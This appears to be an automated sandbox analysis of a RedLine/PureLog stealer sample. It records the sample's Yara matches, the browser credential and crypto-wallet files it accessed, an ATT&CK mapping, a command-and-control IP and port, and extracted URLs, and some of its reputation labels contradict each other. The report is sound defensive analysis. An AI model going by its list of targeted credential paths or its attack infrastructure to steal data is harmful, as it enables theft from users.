Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6df3918.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6df3918.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2911354847.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w74ALjpS5h.exe PID: 7608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7356, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: w74ALjpS5h.exe, 00000000.00000002.2751630746.00000000036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7356, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.w74ALjpS5h.exe.4160890.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.43930b0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.36c9550.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.5ba0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.5ba0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.36c9550.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.43930b0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.4160890.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2785953790.0000000005BA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2751630746.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2751630746.0000000003F2E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6df3918.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.6df3918.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2911354847.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w74ALjpS5h.exe PID: 7608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7356, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	1 OS Credential Dumping	331 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	11 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Install Root Certificate	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
w74ALjpS5h.exe	45%	ReversingLabs	Win32.Spyware.RedLine
w74ALjpS5h.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.ip.sb/ip	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/Icon	0%	URL Reputation	safe
http://ns.ao	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
109.120.178.235:26632	0%	Avira URL Cloud	safe
http://185.164.163.18	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/D	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id7ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id4ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id3Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id18Response	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
109.120.178.235:26632	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002F82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.2859267050.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2849060337.0000000004DB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2911354847.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/14436606/23354	w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.2849060337.0000000004F06000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.164.163.18	w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000026C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.2849060337.0000000004F06000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2859267050.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.2849060337.0000000004F06000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/06/addressingex	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
